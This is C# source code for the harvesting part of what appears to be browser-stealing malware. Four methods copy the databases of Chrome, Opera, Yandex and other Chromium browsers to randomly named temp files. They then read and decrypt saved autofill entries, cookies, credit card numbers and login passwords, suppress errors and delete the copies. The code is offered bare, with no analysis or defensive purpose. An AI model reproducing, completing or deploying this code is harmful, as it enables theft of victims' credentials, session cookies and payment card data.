private static List <FormData> FetchForms(string basePath) { if (!File.Exists(basePath)) { return(null); } var str1 = ""; if (basePath.Contains("Chrome")) { str1 = "Google Chrome"; } if (basePath.Contains("Yandex")) { str1 = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { str1 = "Orbitum Browser"; } if (basePath.Contains("Opera")) { str1 = "Opera Browser"; } if (basePath.Contains("Amigo")) { str1 = "Amigo Browser"; } if (basePath.Contains("Torch")) { str1 = "Torch Browser"; } if (basePath.Contains("Comodo")) { str1 = "Comodo Browser"; } try { var str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(str2)) { File.Delete(str2); } File.Copy(basePath, str2, true); var sqlHandler = new SqlHandler(str2); var formDataList = new List <FormData>(); sqlHandler.ReadTable("autofill"); if (sqlHandler.GetRowCount() == 65536) { return(null); } for (var rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum) { try { formDataList.Add(new FormData { Name = sqlHandler.GetValue(rowNum, 0), Value = sqlHandler.GetValue(rowNum, 1) }); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); } } File.Delete(str2); return(formDataList); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); return(null); } }
private static List <CookieData> FetchCookies(string basePath) { if (!File.Exists(basePath)) { return(null); } var str1 = ""; if (basePath.Contains("Chrome")) { str1 = "Google Chrome"; } if (basePath.Contains("Yandex")) { str1 = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { str1 = "Orbitum Browser"; } if (basePath.Contains("Opera")) { str1 = "Opera Browser"; } if (basePath.Contains("Amigo")) { str1 = "Amigo Browser"; } if (basePath.Contains("Torch")) { str1 = "Torch Browser"; } if (basePath.Contains("Comodo")) { str1 = "Comodo Browser"; } try { var str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(str2)) { File.Delete(str2); } File.Copy(basePath, str2, true); var sqlHandler = new SqlHandler(str2); /*if (sqlHandler.GetRowCount() == 65536) * return (List<CookieData>)null;*/ var cookieDataList = new List <CookieData>(); sqlHandler.ReadTable("cookies"); for (var rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum) { try { var empty = string.Empty; try { empty = Encoding.UTF8.GetString( DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 12)))); } catch (Exception ex) { // // //Console.WriteLine(ex.ToString()); } if (empty != "") { cookieDataList.Add(new CookieData { host_key = sqlHandler.GetValue(rowNum, 1), name = sqlHandler.GetValue(rowNum, 2), path = sqlHandler.GetValue(rowNum, 4), expires_utc = sqlHandler.GetValue(rowNum, 5), secure = sqlHandler.GetValue(rowNum, 6), value = empty }); } } catch (Exception ex) { // // //Console.WriteLine(ex.ToString()); } } File.Delete(str2); return(cookieDataList); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); return(null); } }
private static List <CardData> FetchCards(string basePath) { if (!File.Exists(basePath)) { return(null); } var str1 = ""; if (basePath.Contains("Chrome")) { str1 = "Google Chrome"; } if (basePath.Contains("Yandex")) { str1 = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { str1 = "Orbitum Browser"; } if (basePath.Contains("Opera")) { str1 = "Opera Browser"; } if (basePath.Contains("Amigo")) { str1 = "Amigo Browser"; } if (basePath.Contains("Torch")) { str1 = "Torch Browser"; } if (basePath.Contains("Comodo")) { str1 = "Comodo Browser"; } try { var str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(str2)) { File.Delete(str2); } File.Copy(basePath, str2, true); var sqlHandler = new SqlHandler(str2); var cardDataList = new List <CardData>(); sqlHandler.ReadTable("credit_cards"); /* * if (sqlHandler.GetRowCount() == 65536) * return (List<CardData>)null;*/ for (var rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum) { try { var empty = string.Empty; try { empty = Encoding.UTF8.GetString( DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 4)))); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); } if (empty != "") { cardDataList.Add(new CardData { Name = sqlHandler.GetValue(rowNum, 1), Exp_m = sqlHandler.GetValue(rowNum, 2), Exp_y = sqlHandler.GetValue(rowNum, 3), Number = empty, Billing = sqlHandler.GetValue(rowNum, 9) }); } } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); } } File.Delete(str2); return(cardDataList); } catch (Exception ex) { // //Console.WriteLine(ex.ToString()); return(null); } }
private static List <PassData> FetchPasswords(string basePath) { if (!File.Exists(basePath)) { return(null); } var str1 = ""; if (basePath.Contains("Chrome")) { str1 = "Google Chrome"; } if (basePath.Contains("Yandex")) { str1 = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { str1 = "Orbitum Browser"; } if (basePath.Contains("Opera")) { str1 = "Opera Browser"; } if (basePath.Contains("Amigo")) { str1 = "Amigo Browser"; } if (basePath.Contains("Torch")) { str1 = "Torch Browser"; } if (basePath.Contains("Comodo")) { str1 = "Comodo Browser"; } try { var str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv"; if (File.Exists(str2)) { File.Delete(str2); } File.Copy(basePath, str2, true); var sqlHandler = new SqlHandler(str2); var passDataList = new List <PassData>(); sqlHandler.ReadTable("logins"); for (var rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum) { try { var empty = string.Empty; try { empty = Encoding.UTF8.GetString( DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 5)))); } catch (Exception ex) { } if (empty != "") { passDataList.Add(new PassData { Url = sqlHandler.GetValue(rowNum, 1).Replace("https://", "").Replace("http://", ""), Login = sqlHandler.GetValue(rowNum, 3), Password = empty, Program = str1 }); } } catch (Exception ex) { // // //Console.WriteLine(ex.ToString()); } } File.Delete(str2); return(passDataList); } catch (Exception ex) { // // //Console.WriteLine(ex.ToString()); return(null); } }